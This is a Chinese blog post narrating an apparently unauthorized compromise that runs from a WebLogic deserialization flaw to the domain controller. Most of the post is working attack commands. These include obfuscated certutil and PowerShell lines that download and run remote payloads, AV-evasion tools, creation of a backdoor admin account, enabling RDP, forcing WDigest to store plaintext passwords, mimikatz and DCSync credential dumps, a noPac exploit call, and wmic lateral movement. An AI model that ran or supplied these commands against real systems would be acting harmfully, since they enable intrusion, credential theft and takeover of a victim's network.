记一次weblogic反序列化到内网域控上线
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
点点关注不迷路,每周不定时持续分享各种干货。
众亦信安,中意你啊!
背景
在一个风和日丽的早晨,日常学习着大佬的各种姿势,在肆意游荡时发现一个处站点,存在weblogic IIOP反序列化。
命令执行,这里想到了三种上线法子,上传webshell、powershell上线、frp免杀上远程桌面,这里就一个一个来吧。
上传webshell
https://www.cnblogs.com/sstfy/p/10350915.html //某大佬总结的Weblogic上传路径
尝试发现方法1中的路径存在。
写入webshell。
翻车,马儿根本就访问不到,连控制台登录页面也访问不到直接404。(没有考虑到webshell不免杀的问题,在此推荐两个webshell的免杀项目)
https://github.com/Tas9er/ByPassBehinder
https://github.com/Tas9er/ByPassGodzill
systeminfo后,将补丁扔到在线AV对比平台发现该系统存在Defender,就知道shell被干掉了。
powershell上线
在尝试第二种方法,因为Defened好像对powershell上线certutil下载不会进行拦截,先尝试windows自带的下载命令有好几种,这里尝试混淆certutil。
远程下载命令:
certutil.exe -urlcache -split -f http://1.1.1.1:8088/1.exe 1.exe
"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f http://1.1.1.1:8088/1.exe 1.exe
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://1.1.1.1/a'))"
cmd /c powershell -nop -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://1.1.1.1/a')"
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "Ne`T.WeB`ClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://1’+'92.168.1.1'+'1/a') | p^o^w^e^r^s^h^e^l^l
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "Ne`T.WeB`Cli’+'enT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('h’+'t’+'t’+'P://19’+'2.16’+'8.1’+'1.1'+'1/a') | p’+'o’+'w’+'e’+'r’+'s’+'h’+'e’+'l’+'l -
以上的命令均尝试失败,因为该服务器是出网的,基本上可以判断是被Win Defender给拦了。
frp免杀上远程桌面
使用第三种方式,上传免杀frp,添加用户后登录系统。(普通frp上传就被干死)
在域控权限的获取中,使用了该项目进行免杀。(测试时过某绒、某擎、Win Defender)
https://github.com/pureqh/bypassAV
frp改造项目网上有很多,可以google搜索frp改造,参考进行改造,下文中使用的是改造后的frp进行内网穿透。
添加用户,此处是可以直接添加用户的,但是针对有其他杀软的情况也可以通过混淆的方法绕过添加用户。
net user lanqiuy1 123456 /add //建立账号
net localgroup administrator lanqiuy1 /add //添加到管理员组
powershell New-LocalUser betasec -Password (ConvertTo-SecureString -String 'pass!@#!23' -AsPlainText -Force)
Add-LocalGroupMember -Group "administrators" -Member "betasec"
//绕过defender添加管理员用户
查看开放端口,并未开放RDP服务,这里开启一下
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
修改防火墙放行远程桌面端口
netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
关闭鉴权模式,即取消 “仅允许运行使用网络界别身份验证的远程桌面的计算机连接”。
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
配置好代理后,就可以通过ip访问系统了。
CS上线
直接生成payload
然后在远程桌面上以管理员身份运行powershell,将payload复制进去执行,CS成功上线。(这里把Win Defender关闭了)
进程列表,进程迁移,成功得到system权限。
快速定位域控在哪里,第一种就是查看时间服务器,第二种是查看DNS服务器,一般情况下时间服务器为域控。(网上很多定位域控方法,就不列举了)
可判断域控机器为 192.168.x.12
获取明文密码
前面收集到该机器是win2016(当win2008后就抓不到明文密码),所以修改注册表先开启明文密码记录,然后锁屏等待管理员登录的记录密码。
开启明文记录
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
对机器进行锁屏
rundll32 user32.dll,LockWorkStation
这里就需静静等待管理员重新输入密码登录系统,便可抓到procdump+mimikatz获取明文密码。
一段时间后,使用cs自带mimikatz成功抓到明文密码:
域控找到了,最简单无脑的操作就是拿着洞去怼着域控打,使用黑神教的 noPac(CVE-2021-42287, CVE-2021-42278) 提升域内用户权限,发现失败。推测是defender拦截了。
shell noPac.exe -domain 域名 -user 用户名 -pass 密码 /dc TLG-FILE1.TLG.LOCAL /mAccount test /mPassword QWEasd123 /service cifs /ptt
IPC$ 域控上线成功
测试查看域管理员时,发现xxxxxport是域管理员用户同时也成功获取到明文账号密码,这里我们用ipc进行横向,再使用wmic进行上线。
net use \\192.168.x.12\C$ "xxxxxxx#0315" /user:xxx\xxxxxport
查看是否连接成功
用上边免杀项目生成免杀的exe,将马儿移动到域控上
shell copy google_update.exe \\192.168.x.12\c$\users\public\1.exe
查看马儿是否移动成功
shell dir \\192.168.x.12\c$\users\public
使用wmic进行远程执行 域控上执行上传的马儿,成功上线。
shell wmic /node:192.168.x.12 /user:"xxx\xxxxxport" /password:xxxxx#0315 process call create "cmd.exe /c start c:\users\public\1.exe"
既然上线域控了,那不得抓一波域用户密码。
shell mk.exe "lsadump::dcsync /domain:xxx.LOCAL /all /txt" exit >> 3.txt
将txt下载下来
抓到了n个ntlm,直接去cmd解密即可。
PS: 过程中也碰到了webshell,frp等不免杀的问题,横向域控时大部分方法都试了没成功,后面黑神指点一手居然忘记先前锁屏可能抓明文密码了,果不其然后续就直接用ipc$就横向到域控了。